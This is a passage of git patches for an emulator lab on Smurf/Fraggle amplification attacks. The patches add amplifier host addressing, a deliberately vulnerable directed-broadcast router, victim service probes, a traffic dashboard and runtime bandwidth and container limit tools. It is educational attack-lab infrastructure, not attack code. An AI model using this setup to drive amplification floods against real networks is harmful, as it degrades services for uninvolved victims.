+`10.152.0.99`. Y11 preserves the addresses of the B00-created hosts, but gives +every additional amplifier host an explicit address. It allocates addresses +above the existing B00 hosts first, through `10.152.0.253`, and then uses the +free range `10.152.0.1` through `10.152.0.70`. Address `10.152.0.254` remains +reserved for `router0`. + +The existing `10.152.0.0/24` network supports at most 253 amplifier hosts. A +larger experiment must use a wider subnet rather than assigning more addresses +inside this `/24`. + The generated Docker files are placed in the`output` folder. We can go to this folder, build the container images and start the emulator. diff --git a/examples/yesterday_once_more/Y11_smurf_fraggle_attack/emulator.py b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/emulator.py index 6d6db8500..7be680e39 100755 --- a/examples/yesterday_once_more/Y11_smurf_fraggle_attack/emulator.py +++ b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/emulator.py @@ -28,6 +28,9 @@ TARGET_ASN = 152 TARGET_ROUTER = "router0" TARGET_NETWORK = "net0" +TARGET_NETWORK_PREFIX = "10.152.0" +AUTO_HOST_START = 71 +LAST_USABLE_HOST = 253 SMURF_DIR = "/opt/demo" TRAFFIC_VISUALIZER_DIR = f"{SMURF_DIR}/traffic_visualizer" TRAFFIC_VISUALIZER_HOST_PORT = 8081 @@ -47,7 +50,7 @@ def parse_args() -> argparse.Namespace: "--target-hosts", type=int, default=12, - help="number of hosts on the vulnerable AS152 broadcast LAN", + help="number of hosts on the vulnerable AS152 broadcast LAN (maximum: 253)", ) parser.add_argument("--override", dest="override", action="store_true", default=True) parser.add_argument("--no-override", dest="override", action="store_false") @@ -88,11 +91,27 @@ def prepare_smurf_dir(node: Node) -> None: node.appendStartCommand(f"mkdir -p {SMURF_DIR}") +def get_manual_target_addresses(hosts_per_as: int) -> list[str]: + """Return free AS152 host addresses in deterministic allocation order.""" + first_address_after_b00_hosts = AUTO_HOST_START + max(hosts_per_as, 0) + offsets = list(range(first_address_after_b00_hosts, LAST_USABLE_HOST + 1)) + offsets.extend(range(1, AUTO_HOST_START)) + return [f"{TARGET_NETWORK_PREFIX}.{offset}" for offset in offsets] + + def add_target_hosts(emu: Emulator, target_hosts: int, hosts_per_as: int) -> None: target_as = get_base(emu).getAutonomousSystem(TARGET_ASN) existing = max(hosts_per_as, 0) + addresses = get_manual_target_addresses(existing) + requested_new_hosts = target_hosts - existing + if requested_new_hosts > len(addresses): + raise ValueError( + f"--target-hosts cannot exceed {LAST_USABLE_HOST} on the AS152 /24 network" + ) + for index in range(existing, target_hosts): - target_as.createHost(f"host_{index}").joinNetwork(TARGET_NETWORK) + address = addresses[index - existing] + target_as.createHost(f"host_{index}").joinNetwork(TARGET_NETWORK, address=address) def configure_directed_broadcast_router(router: Node) -> None: From 47f723245cbc217eec0a07ba6ad626ca01bd3c4f Mon Sep 17 00:00:00 2001 From: Kevin Du Date: Sun, 19 Jul 2026 11:44:39 +0800 Subject: [PATCH 25/33] fixed an error --- .../Y11_smurf_fraggle_attack/README.md | 6 +++--- .../Y11_smurf_fraggle_attack/emulator.py | 8 +++++--- 2 files changed, 8 insertions(+), 6 deletions(-) diff --git a/examples/yesterday_once_more/Y11_smurf_fraggle_attack/README.md b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/README.md index 57af2a68c..917679bce 100644 --- a/examples/yesterday_once_more/Y11_smurf_fraggle_attack/README.md +++ b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/README.md @@ -50,10 +50,10 @@ B00's default address assignment range for hosts is `10.152.0.71` through `10.152.0.99`. Y11 preserves the addresses of the B00-created hosts, but gives every additional amplifier host an explicit address. It allocates addresses above the existing B00 hosts first, through `10.152.0.253`, and then uses the -free range `10.152.0.1` through `10.152.0.70`. Address `10.152.0.254` remains -reserved for `router0`. +free range `10.152.0.2` through `10.152.0.70`. Address `10.152.0.1` is reserved, +and `10.152.0.254` remains reserved for `router0`. -The existing `10.152.0.0/24` network supports at most 253 amplifier hosts. A +The existing `10.152.0.0/24` network supports at most 252 amplifier hosts. A larger experiment must use a wider subnet rather than assigning more addresses inside this `/24`. diff --git a/examples/yesterday_once_more/Y11_smurf_fraggle_attack/emulator.py b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/emulator.py index 7be680e39..16eac5701 100755 --- a/examples/yesterday_once_more/Y11_smurf_fraggle_attack/emulator.py +++ b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/emulator.py @@ -30,7 +30,9 @@ TARGET_NETWORK = "net0" TARGET_NETWORK_PREFIX = "10.152.0" AUTO_HOST_START = 71 +FIRST_USABLE_HOST = 2 LAST_USABLE_HOST = 253 +MAX_TARGET_HOSTS = LAST_USABLE_HOST - FIRST_USABLE_HOST + 1 SMURF_DIR = "/opt/demo" TRAFFIC_VISUALIZER_DIR = f"{SMURF_DIR}/traffic_visualizer" TRAFFIC_VISUALIZER_HOST_PORT = 8081 @@ -50,7 +52,7 @@ def parse_args() -> argparse.Namespace: "--target-hosts", type=int, default=12, - help="number of hosts on the vulnerable AS152 broadcast LAN (maximum: 253)", + help=f"number of hosts on the vulnerable AS152 broadcast LAN (maximum: {MAX_TARGET_HOSTS})", ) parser.add_argument("--override", dest="override", action="store_true", default=True) parser.add_argument("--no-override", dest="override", action="store_false") @@ -95,7 +97,7 @@ def get_manual_target_addresses(hosts_per_as: int) -> list[str]: """Return free AS152 host addresses in deterministic allocation order.""" first_address_after_b00_hosts = AUTO_HOST_START + max(hosts_per_as, 0) offsets = list(range(first_address_after_b00_hosts, LAST_USABLE_HOST + 1)) - offsets.extend(range(1, AUTO_HOST_START)) + offsets.extend(range(FIRST_USABLE_HOST, AUTO_HOST_START)) return [f"{TARGET_NETWORK_PREFIX}.{offset}" for offset in offsets] @@ -106,7 +108,7 @@ def add_target_hosts(emu: Emulator, target_hosts: int, hosts_per_as: int) -> Non requested_new_hosts = target_hosts - existing if requested_new_hosts > len(addresses): raise ValueError( - f"--target-hosts cannot exceed {LAST_USABLE_HOST} on the AS152 /24 network" + f"--target-hosts cannot exceed {MAX_TARGET_HOSTS} on the AS152 /24 network" ) for index in range(existing, target_hosts): From 6a7987e08eb699945888499ed64048664a330623 Mon Sep 17 00:00:00 2001 From: Kevin Du Date: Sun, 19 Jul 2026 14:11:13 +0800 Subject: [PATCH 26/33] another round of improvement --- .../Y11_smurf_fraggle_attack/README.md | 49 ++++++- .../Y11_smurf_fraggle_attack/emulator.py | 20 ++- .../Y11_smurf_fraggle_attack/test_runtime.py | 21 ++- .../traffic_visualizer_config.json | 5 +- .../traffic_visualizer_extension.css | 7 +- .../traffic_visualizer_extension.js | 76 ++++++++++- tools/TrafficVisualizer/README.md | 45 +++++- tools/TrafficVisualizer/container_control.py | 128 ++++++++++++++++++ tools/TrafficVisualizer/health_probe.py | 76 +++++++++++ tools/TrafficVisualizer/network_control.py | 111 +++++++++++++++ tools/TrafficVisualizer/traffic_visualizer.py | 59 ++++++++ .../TrafficVisualizer/victim_http_service.py | 41 +++++- 12 files changed, 619 insertions(+), 19 deletions(-) create mode 100644 tools/TrafficVisualizer/container_control.py create mode 100644 tools/TrafficVisualizer/network_control.py diff --git a/examples/yesterday_once_more/Y11_smurf_fraggle_attack/README.md b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/README.md index 917679bce..674d9ab06 100644 --- a/examples/yesterday_once_more/Y11_smurf_fraggle_attack/README.md +++ b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/README.md @@ -71,8 +71,9 @@ The shared server, base dashboard, synthetic HTTP service, and health probe are loaded from `tools/TrafficVisualizer`. This example owns their addresses, startup wiring, capture configuration, thresholds, and a frontend extension that presents the Smurf/Fraggle-specific results. AS151 runs the independent -HTTP service on port `8000`. AS153 probes it once per second, then submits the -observed latency or failure to Traffic Visualizer. The dashboard is published +HTTP service on port `8000`. AS153 probes its latency five times per second and +measures HTTP goodput every five seconds, then submits the results to Traffic +Visualizer. The dashboard is published on the host at the following URL. Open this address in a browser. ```text @@ -96,9 +97,10 @@ docker compose -f output/docker-compose.yml exec hnode_150_host_0 \ The visualization shows matching packet and IP-layer byte totals, values observed during the previous second, and an animation whose density and marker size reflect the recent traffic. The Victim Impact panel separately shows the -legitimate service's current latency, recent success rate, failures, and a -30-sample timeline. A rising cyan bar means a slower response; a red bar means -the probe failed. Its APIs are also available inside the victim container: +legitimate service's current latency, recent success rate, failures, current +and average goodput, and separate latency and goodput timelines. Higher cyan +latency bars are worse; higher green goodput bars are better; red means a probe +failed. Its APIs are also available inside the victim container: ```text http://127.0.0.1:8080/api/stats @@ -110,6 +112,43 @@ enough resources to degrade the HTTP service on a fast host. To experiment with service impact, increase `--count` gradually while watching the impact panel. Keep the emulator isolated and stop once the intended effect is visible. +### Change capacity at runtime + +Y11 installs the shared link controller on both sides of AS151's victim access +link. Apply the same runtime rate to the router's victim-facing interface and +the victim's response interface. No limit is enabled by default: + +```sh +docker compose -f output/docker-compose.yml exec rnode_151_router0 \ + /opt/demo/traffic_visualizer/network_control.py set \ + --subnet 10.151.0.0/24 --rate 5mbit + +docker compose -f output/docker-compose.yml exec hnode_151_host_0 \ + /opt/demo/traffic_visualizer/network_control.py set \ + --subnet 10.151.0.0/24 --rate 5mbit +``` + +Inspect or remove the limit by replacing `set --rate 5mbit` with `status` or +`clear`. Since `tc` is an egress controller, applying it at both endpoints +models the two directions of the access link. + +CPU and memory limits are controlled from the Docker host. Resolve the running +victim container and pass it to the shared host-side tool: + +```sh +VICTIM=$(docker compose -f output/docker-compose.yml ps -q hnode_151_host_0) + +python ../../../tools/TrafficVisualizer/container_control.py set \ + --container "$VICTIM" --cpus 0.5 --memory 256m --memory-swap 256m + +python ../../../tools/TrafficVisualizer/container_control.py restore \ + --container "$VICTIM" +``` + +The first `set` saves the original limits in the current directory so they can +be restored. Network and container capacity values are therefore chosen during +the experiment rather than compiled into Y11. + Internet Map is still useful for seeing packets move through the topology, but the victim dashboard makes the key lesson clearer: a small number of spoofed requests can cause many hosts to send replies to the victim. diff --git a/examples/yesterday_once_more/Y11_smurf_fraggle_attack/emulator.py b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/emulator.py index 16eac5701..fa9265481 100755 --- a/examples/yesterday_once_more/Y11_smurf_fraggle_attack/emulator.py +++ b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/emulator.py @@ -24,6 +24,7 @@ ATTACKER_HOST = (150, "host_0") VICTIM_HOST = (151, "host_0") +VICTIM_ROUTER = (151, "router0") LEGITIMATE_CLIENT_HOST = (153, "host_0") TARGET_ASN = 152 TARGET_ROUTER = "router0" @@ -129,6 +130,16 @@ def configure_directed_broadcast_router(router: Node) -> None: router.setDisplayName("Directed-Broadcast-Router") +def configure_victim_access_router(router: Node) -> None: + router.addSoftware("python3") + router.addSoftware("iproute2") + prepare_smurf_dir(router) + install_traffic_visualizer_file(router, "network_control.py") + router.appendStartCommand(f"chmod +x {TRAFFIC_VISUALIZER_DIR}/network_control.py") + router.appendClassName("VictimAccessLinkController") + router.setDisplayName("Victim-Access-Router") + + def configure_target_host(host: Node) -> None: host.addSoftware("python3") prepare_smurf_dir(host) @@ -163,11 +174,13 @@ def configure_attacker(host: Node) -> None: def configure_victim(host: Node) -> None: host.addSoftware("python3") host.addSoftware("tcpdump") + host.addSoftware("iproute2") prepare_smurf_dir(host) install_file(host, "smurf_monitor.py", "smurf_monitor.py") install_file(host, "fraggle_monitor.py", "fraggle_monitor.py") install_file(host, "visualize_attack.py", "visualize_attack.py") install_traffic_visualizer_file(host, "victim_http_service.py") + install_traffic_visualizer_file(host, "network_control.py") install_traffic_visualizer_file(host, "traffic_visualizer.py") install_traffic_visualizer_file(host, "dashboard.html") install_file(host, "traffic_visualizer_config.json", "traffic_visualizer/config.json") @@ -186,7 +199,8 @@ def configure_victim(host: Node) -> None: host.appendStartCommand( f"chmod +x {SMURF_DIR}/smurf_monitor.py {SMURF_DIR}/fraggle_monitor.py " f"{SMURF_DIR}/visualize_attack.py {TRAFFIC_VISUALIZER_DIR}/victim_http_service.py " - f"{TRAFFIC_VISUALIZER_DIR}/traffic_visualizer.py" + f"{TRAFFIC_VISUALIZER_DIR}/traffic_visualizer.py " + f"{TRAFFIC_VISUALIZER_DIR}/network_control.py" ) host.appendStartCommand( f"python3 {TRAFFIC_VISUALIZER_DIR}/victim_http_service.py --port {VICTIM_SERVICE_PORT} " @@ -215,6 +229,9 @@ def configure_legitimate_client(host: Node) -> None: host.appendStartCommand( f"python3 {TRAFFIC_VISUALIZER_DIR}/health_probe.py " f"--target http://10.151.0.71:{VICTIM_SERVICE_PORT}/health " + f"--bandwidth-url http://10.151.0.71:{VICTIM_SERVICE_PORT}/bandwidth " + "--interval 0.2 --timeout 0.5 " + "--bandwidth-bytes 262144 --bandwidth-interval 5 --bandwidth-timeout 3 " f"--report-to http://10.151.0.71:{TRAFFIC_VISUALIZER_CONTAINER_PORT}/api/impact " ">> /var/log/victim-health-probe.log 2>&1", fork=True, @@ -229,6 +246,7 @@ def customize_b00_for_smurf(emu: Emulator, target_hosts: int, hosts_per_as: int) add_target_hosts(emu, target_hosts=target_hosts, hosts_per_as=hosts_per_as) configure_directed_broadcast_router(get_router(emu, TARGET_ASN, TARGET_ROUTER)) + configure_victim_access_router(get_router(emu, *VICTIM_ROUTER)) configure_attacker(get_host(emu, *ATTACKER_HOST)) configure_victim(get_host(emu, *VICTIM_HOST)) configure_legitimate_client(get_host(emu, *LEGITIMATE_CLIENT_HOST)) diff --git a/examples/yesterday_once_more/Y11_smurf_fraggle_attack/test_runtime.py b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/test_runtime.py index 85f406b4e..e3c741123 100644 --- a/examples/yesterday_once_more/Y11_smurf_fraggle_attack/test_runtime.py +++ b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/test_runtime.py @@ -16,6 +16,7 @@ def main() -> int: attacker = test.require_service(150, "host_0", "AS150 attacker host is generated") victim = test.require_service(151, "host_0", "AS151 victim host is generated") + victim_router = test.require_service(151, "router0", "AS151 victim access router is generated") legitimate_client = test.require_service(153, "host_0", "AS153 legitimate client is generated") amplifier0 = test.require_service(152, "host_0", "AS152 amplifier host_0 is generated") amplifier11 = test.require_service(152, "host_11", "AS152 amplifier host_11 is generated") @@ -111,6 +112,22 @@ def main() -> int: retries=30, interval=3, ) + test.exec_check( + "victim includes the runtime link controller", + victim, + "test -x /opt/demo/traffic_visualizer/network_control.py", + retries=1, + interval=1, + ) + + if victim_router: + test.exec_check( + "victim access router includes the runtime link controller", + victim_router, + "test -x /opt/demo/traffic_visualizer/network_control.py", + retries=1, + interval=1, + ) if legitimate_client: test.exec_check( @@ -127,7 +144,9 @@ def main() -> int: victim, "python3 -c \"import json,urllib.request; " "d=json.load(urllib.request.urlopen('http://127.0.0.1:8080/api/impact')); " - "assert d['sample_count'] >= 2, d\"", + "assert d['sample_count'] >= 2, d; " + "assert d['bandwidth_sample_count'] >= 1, d; " + "assert d['latest_throughput_mbps'] is not None, d\"", retries=30, interval=2, ) diff --git a/examples/yesterday_once_more/Y11_smurf_fraggle_attack/traffic_visualizer_config.json b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/traffic_visualizer_config.json index 0939dc34d..96dc7f9a2 100644 --- a/examples/yesterday_once_more/Y11_smurf_fraggle_attack/traffic_visualizer_config.json +++ b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/traffic_visualizer_config.json @@ -3,7 +3,7 @@ "capture_filter": "src net 10.152.0.0/24 and (icmp or udp)", "web_host": "0.0.0.0", "web_port": 8080, - "impact_max_samples": 60, + "impact_max_samples": 300, "frontend": { "title": "Smurf and Fraggle Attack", "subtitle": "Replies arriving at the victim from the amplifier LAN", @@ -14,7 +14,8 @@ "amplifier_network": "AS152 / 10.152.0.0/24", "impact_latency_warning_ms": 150, "impact_stale_seconds": 4, - "impact_chart_max_ms": 500 + "impact_chart_max_ms": 500, + "impact_bandwidth_stale_seconds": 12 } } } diff --git a/examples/yesterday_once_more/Y11_smurf_fraggle_attack/traffic_visualizer_extension.css b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/traffic_visualizer_extension.css index 18b925dc1..4a6db3785 100644 --- a/examples/yesterday_once_more/Y11_smurf_fraggle_attack/traffic_visualizer_extension.css +++ b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/traffic_visualizer_extension.css @@ -44,7 +44,7 @@ .impact-metrics { display: grid; - grid-template-columns: repeat(3, 1fr); + grid-template-columns: repeat(auto-fit, minmax(125px, 1fr)); gap: 10px; margin: 18px 0; } @@ -66,6 +66,10 @@ margin-bottom: 8px; } +.bandwidth-label { + margin-top: 16px; +} + .probe-timeline { display: flex; align-items: end; @@ -84,6 +88,7 @@ } .probe-sample.success { background: #22d3ee; } +.probe-sample.bandwidth-success { background: #4ade80; } .probe-sample.failure { background: #ef4444; } .timeline-empty { margin: auto; color: #64748b; font-size: 13px; } diff --git a/examples/yesterday_once_more/Y11_smurf_fraggle_attack/traffic_visualizer_extension.js b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/traffic_visualizer_extension.js index fee895b84..063a2a32c 100644 --- a/examples/yesterday_once_more/Y11_smurf_fraggle_attack/traffic_visualizer_extension.js +++ b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/traffic_visualizer_extension.js @@ -4,7 +4,10 @@ let serviceLatency; let serviceSuccessRate; let serviceFailures; + let serviceThroughput; + let serviceAverageThroughput; let serviceTimeline; + let bandwidthTimeline; let impactConfig; function setStatus(label, className) { @@ -17,11 +20,18 @@ serviceLatency.textContent = '--'; serviceSuccessRate.textContent = '--'; serviceFailures.textContent = '0'; + serviceThroughput.textContent = '--'; + serviceAverageThroughput.textContent = '--'; serviceTimeline.replaceChildren(); + bandwidthTimeline.replaceChildren(); const message = document.createElement('span'); message.className = 'timeline-empty'; message.textContent = 'Waiting for the legitimate client'; serviceTimeline.appendChild(message); + const bandwidthMessage = document.createElement('span'); + bandwidthMessage.className = 'timeline-empty'; + bandwidthMessage.textContent = 'Waiting for the first bandwidth probe'; + bandwidthTimeline.appendChild(bandwidthMessage); } function updateImpact(impact) { @@ -32,11 +42,18 @@ const isStale = impact.last_probe_age_seconds > impactConfig.impact_stale_seconds; const latencyIsHigh = impact.latest_latency_ms >= impactConfig.impact_latency_warning_ms; + const bandwidthIsStale = impact.bandwidth_sample_count + && impact.last_bandwidth_age_seconds > impactConfig.impact_bandwidth_stale_seconds; if (isStale) { setStatus('UNREACHABLE', 'unreachable'); } else if (impact.latest_success === false) { setStatus('FAILED', 'unreachable'); - } else if (impact.success_rate < 100 || latencyIsHigh) { + } else if ( + impact.success_rate < 100 + || latencyIsHigh + || impact.latest_bandwidth_success === false + || bandwidthIsStale + ) { setStatus('DEGRADED', 'degraded'); } else { setStatus('HEALTHY', 'healthy'); @@ -47,6 +64,21 @@ : `${impact.latest_latency_ms.toFixed(1)} ms`; serviceSuccessRate.textContent = `${impact.success_rate.toFixed(1)}%`; serviceFailures.textContent = String(impact.failure_count); + if (!impact.bandwidth_sample_count) { + serviceThroughput.textContent = '--'; + serviceAverageThroughput.textContent = '--'; + } else { + serviceAverageThroughput.textContent = impact.average_throughput_mbps === null + ? '--' + : `${impact.average_throughput_mbps.toFixed(2)} Mbps`; + if (bandwidthIsStale) { + serviceThroughput.textContent = 'Stale'; + } else if (impact.latest_bandwidth_success === false) { + serviceThroughput.textContent = 'Failed'; + } else { + serviceThroughput.textContent = `${impact.latest_throughput_mbps.toFixed(2)} Mbps`; + } + } serviceTimeline.replaceChildren(); impact.samples.slice(-30).forEach((sample) => { @@ -59,6 +91,38 @@ bar.title = sample.success ? `${sample.latency_ms.toFixed(1)} ms` : 'Failed'; serviceTimeline.appendChild(bar); }); + + bandwidthTimeline.replaceChildren(); + const bandwidthSamples = impact.samples + .filter((sample) => sample.bandwidth_success !== null) + .slice(-30); + if (!bandwidthSamples.length) { + const message = document.createElement('span'); + message.className = 'timeline-empty'; + message.textContent = 'Waiting for the first bandwidth probe'; + bandwidthTimeline.appendChild(message); + return; + } + const maximumThroughput = Math.max( + 1, + ...bandwidthSamples + .filter((sample) => sample.bandwidth_success) + .map((sample) => sample.throughput_mbps), + ); + bandwidthSamples.forEach((sample) => { + const bar = document.createElement('i'); + bar.className = sample.bandwidth_success + ? 'probe-sample bandwidth-success' + : 'probe-sample failure'; + const percent = sample.bandwidth_success + ? Math.max(6, sample.throughput_mbps / maximumThroughput * 100) + : 100; + bar.style.height = `${percent}%`; + bar.title = sample.bandwidth_success + ? `${sample.throughput_mbps.toFixed(2)} Mbps` + : 'Failed'; + bandwidthTimeline.appendChild(bar); + }); } TrafficVisualizer.registerExtension({ @@ -94,15 +158,20 @@
Current latency--
Recent success--
Failures0
+
Current goodput--
+
Average goodput--
-
Recent probes (higher is slower; red is failed)
+
Latency probes (higher is slower; red is failed)
+
Goodput probes (higher is better; red is failed)
+
`; impactConfig = { impact_latency_warning_ms: Number(config.impact_latency_warning_ms) || 150, impact_stale_seconds: Number(config.impact_stale_seconds) || 4, impact_chart_max_ms: Number(config.impact_chart_max_ms) || 500, + impact_bandwidth_stale_seconds: Number(config.impact_bandwidth_stale_seconds) || 12, }; root.querySelector('#broadcast-network').textContent = config.amplifier_network; averageSize = root.querySelector('#broadcast-average-size'); @@ -110,7 +179,10 @@ serviceLatency = root.querySelector('#impact-latency'); serviceSuccessRate = root.querySelector('#impact-success-rate'); serviceFailures = root.querySelector('#impact-failures'); + serviceThroughput = root.querySelector('#impact-throughput'); + serviceAverageThroughput = root.querySelector('#impact-average-throughput'); serviceTimeline = root.querySelector('#impact-timeline'); + bandwidthTimeline = root.querySelector('#bandwidth-timeline'); showWaiting(); }, update(stats, {formatBytes}) { diff --git a/tools/TrafficVisualizer/README.md b/tools/TrafficVisualizer/README.md index 4e03f5148..246835f70 100644 --- a/tools/TrafficVisualizer/README.md +++ b/tools/TrafficVisualizer/README.md @@ -81,14 +81,51 @@ python3 victim_http_service.py --port 8000 python3 health_probe.py \ --target http://10.151.0.71:8000/health \ + --bandwidth-url http://10.151.0.71:8000/bandwidth \ --report-to http://10.151.0.71:8080/api/impact ``` +The synthetic service's `/bandwidth?bytes=N` endpoint returns a bounded fixed +payload. When `--bandwidth-url` is configured, the probe periodically measures +application goodput in Mbps in addition to latency and reachability. Its +`--bandwidth-bytes`, `--bandwidth-interval`, and `--bandwidth-timeout` options +control the cost and frequency of that measurement. + The synthetic service is optional. An example with a real HTTP application can point `health_probe.py` at that application instead. Target addresses, probe intervals, warning thresholds, container placement, and frontend presentation remain example-owned configuration. +## Runtime capacity controls + +`network_control.py` uses Linux `tc` to apply an explicit egress rate limit at +runtime. It never applies a limit automatically and supports `set`, `status`, +and `clear`. An interface can be selected by name or by its subnet: + +```sh +python3 network_control.py set --subnet 10.151.0.0/24 --rate 5mbit +python3 network_control.py status --subnet 10.151.0.0/24 +python3 network_control.py clear --subnet 10.151.0.0/24 +``` + +Because `tc` controls egress, a symmetric access-link experiment applies the +limit on the router interface facing the victim and on the victim's own +interface. `set` replaces the selected interface's root qdisc; use it only when +that interface does not contain another link policy that must be preserved. + +`container_control.py` runs on the Docker host and changes CPU or memory limits +with `docker update`. Before the first change it saves the original limits in a +local JSON file, which `restore` uses later: + +```sh +python3 container_control.py set --container CONTAINER --cpus 0.5 --memory 256m --memory-swap 256m +python3 container_control.py show --container CONTAINER +python3 container_control.py restore --container CONTAINER +``` + +These privileged operations intentionally remain CLI-only and are not exposed +through Traffic Visualizer's HTTP API. + ## HTTP endpoints - `/` - dashboard @@ -102,7 +139,13 @@ remain example-owned configuration. An external health probe can submit a successful measurement with: ```json -{"success": true, "latency_ms": 12.4} +{ + "success": true, + "latency_ms": 12.4, + "bandwidth_success": true, + "throughput_mbps": 4.72, + "downloaded_bytes": 262144 +} ``` For a timeout or connection failure, it submits `{"success": false}`. The diff --git a/tools/TrafficVisualizer/container_control.py b/tools/TrafficVisualizer/container_control.py new file mode 100644 index 000000000..69d546b3e --- /dev/null +++ b/tools/TrafficVisualizer/container_control.py @@ -0,0 +1,128 @@ +#!/usr/bin/env python3 +"""Change Docker CPU and memory limits at runtime and restore their original values.""" + +from __future__ import annotations + +import argparse +import json +from pathlib import Path +import re +import subprocess +import sys + + +def docker(command: list[str]) -> str: + result = subprocess.run(["docker", *command], capture_output=True, text=True) + if result.returncode != 0: + detail = result.stderr.strip() or result.stdout.strip() + raise RuntimeError(f"docker {' '.join(command)} failed: {detail}") + return result.stdout + + +def inspect_limits(container: str) -> dict[str, int]: + host_config = json.loads(docker(["inspect", "--format", "{{json .HostConfig}}", container])) + return { + "nano_cpus": int(host_config.get("NanoCpus", 0)), + "memory": int(host_config.get("Memory", 0)), + "memory_swap": int(host_config.get("MemorySwap", 0)), + } + + +def default_state_path(container: str) -> Path: + safe_name = re.sub(r"[^A-Za-z0-9_.-]", "_", container) + return Path(f".traffic-visualizer-capacity-{safe_name}.json") + + +def format_limits(container: str, limits: dict[str, int]) -> dict[str, object]: + return { + "container": container, + "cpus": round(limits["nano_cpus"] / 1_000_000_000, 3) if limits["nano_cpus"] else "unlimited", + "memory_bytes": limits["memory"] or "unlimited", + "memory_swap_bytes": limits["memory_swap"] if limits["memory_swap"] else "unlimited", + } + + +def main() -> int: + parser = argparse.ArgumentParser(description="Control a running Docker container's capacity.") + parser.add_argument("command", choices=["show", "set", "restore"]) + parser.add_argument("--container", required=True) + parser.add_argument("--state-file", type=Path) + parser.add_argument("--cpus", type=float, help="CPU quota, such as 0.5") + parser.add_argument("--memory", help="Docker memory value, such as 256m") + parser.add_argument("--memory-swap", help="Docker memory+swap value, such as 256m or -1") + args = parser.parse_args() + state_path = args.state_file or default_state_path(args.container) + + try: + if args.command == "show": + print(json.dumps(format_limits(args.container, inspect_limits(args.container)), indent=2)) + return 0 + + if args.command == "set": + if args.cpus is None and args.memory is None and args.memory_swap is None: + parser.error("set requires --cpus, --memory, or --memory-swap") + if args.cpus is not None and args.cpus <= 0: + parser.error("--cpus must be greater than zero") + if state_path.exists(): + state = json.loads(state_path.read_text(encoding="utf-8")) + if state.get("container") != args.container: + raise RuntimeError("saved state belongs to a different container") + else: + state = { + "container": args.container, + "limits": inspect_limits(args.container), + "changed": [], + } + + changed = set(state.get("changed", [])) + if args.cpus is not None: + changed.add("cpus") + if args.memory is not None or args.memory_swap is not None: + changed.add("memory") + state["changed"] = sorted(changed) + state_path.write_text(json.dumps(state, indent=2), encoding="utf-8") + + update = ["update"] + if args.cpus is not None: + update.extend(["--cpus", str(args.cpus)]) + if args.memory is not None: + update.extend(["--memory", args.memory]) + if args.memory_swap is not None: + update.extend(["--memory-swap", args.memory_swap]) + update.append(args.container) + docker(update) + print(json.dumps(format_limits(args.container, inspect_limits(args.container)), indent=2)) + print(f"original limits saved in {state_path}") + return 0 + + if not state_path.exists(): + raise RuntimeError(f"restore state does not exist: {state_path}") + state = json.loads(state_path.read_text(encoding="utf-8")) + if state.get("container") != args.container: + raise RuntimeError("restore state belongs to a different container") + limits = state["limits"] + changed = set(state.get("changed", ["cpus", "memory"])) + update = ["update"] + if "cpus" in changed: + cpus = limits["nano_cpus"] / 1_000_000_000 if limits["nano_cpus"] else 0 + update.extend(["--cpus", str(cpus)]) + if "memory" in changed: + memory = f"{limits['memory']}b" if limits["memory"] else "0" + memory_swap = ( + f"{limits['memory_swap']}b" + if limits["memory_swap"] > 0 + else str(limits["memory_swap"]) + ) + update.extend(["--memory", memory, "--memory-swap", memory_swap]) + update.append(args.container) + docker(update) + print(json.dumps(format_limits(args.container, inspect_limits(args.container)), indent=2)) + print(f"restored original limits from {state_path}") + except (RuntimeError, KeyError, ValueError, json.JSONDecodeError) as error: + print(f"container control error: {error}", file=sys.stderr) + return 1 + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/tools/TrafficVisualizer/health_probe.py b/tools/TrafficVisualizer/health_probe.py index a8f868f82..d338b7b17 100644 --- a/tools/TrafficVisualizer/health_probe.py +++ b/tools/TrafficVisualizer/health_probe.py @@ -5,8 +5,11 @@ import argparse import json +from queue import Empty, SimpleQueue +from threading import Thread import time from urllib.error import HTTPError, URLError +from urllib.parse import parse_qsl, urlencode, urlsplit, urlunsplit from urllib.request import Request, urlopen @@ -39,20 +42,93 @@ def report(destination: str, sample: dict[str, object], timeout: float) -> None: response.read() +def bandwidth_url(target: str, byte_count: int) -> str: + parsed = urlsplit(target) + query = dict(parse_qsl(parsed.query, keep_blank_values=True)) + query["bytes"] = str(byte_count) + return urlunsplit( + (parsed.scheme, parsed.netloc, parsed.path, urlencode(query), parsed.fragment) + ) + + +def measure_bandwidth(target: str, byte_count: int, timeout: float) -> dict[str, object]: + started = time.monotonic() + received = 0 + try: + with urlopen(bandwidth_url(target, byte_count), timeout=timeout) as response: + while True: + chunk = response.read(64 * 1024) + if not chunk: + break + received += len(chunk) + success = response.status == 200 and received == byte_count + except (HTTPError, URLError, OSError, TimeoutError): + success = False + + if not success: + return { + "bandwidth_success": False, + "downloaded_bytes": received, + } + elapsed = max(time.monotonic() - started, 0.000001) + return { + "bandwidth_success": True, + "throughput_mbps": round(received * 8 / elapsed / 1_000_000, 3), + "downloaded_bytes": received, + } + + def main() -> int: parser = argparse.ArgumentParser(description="Measure access to an HTTP service.") parser.add_argument("--target", required=True, help="HTTP URL to probe") parser.add_argument("--report-to", required=True, help="Traffic Visualizer /api/impact URL") parser.add_argument("--interval", type=float, default=1.0) parser.add_argument("--timeout", type=float, default=0.8) + parser.add_argument("--bandwidth-url", help="optional HTTP bandwidth-test endpoint") + parser.add_argument("--bandwidth-bytes", type=int, default=256 * 1024) + parser.add_argument("--bandwidth-interval", type=float, default=5.0) + parser.add_argument("--bandwidth-timeout", type=float, default=3.0) args = parser.parse_args() if args.interval <= 0 or args.timeout <= 0: parser.error("--interval and --timeout must be greater than 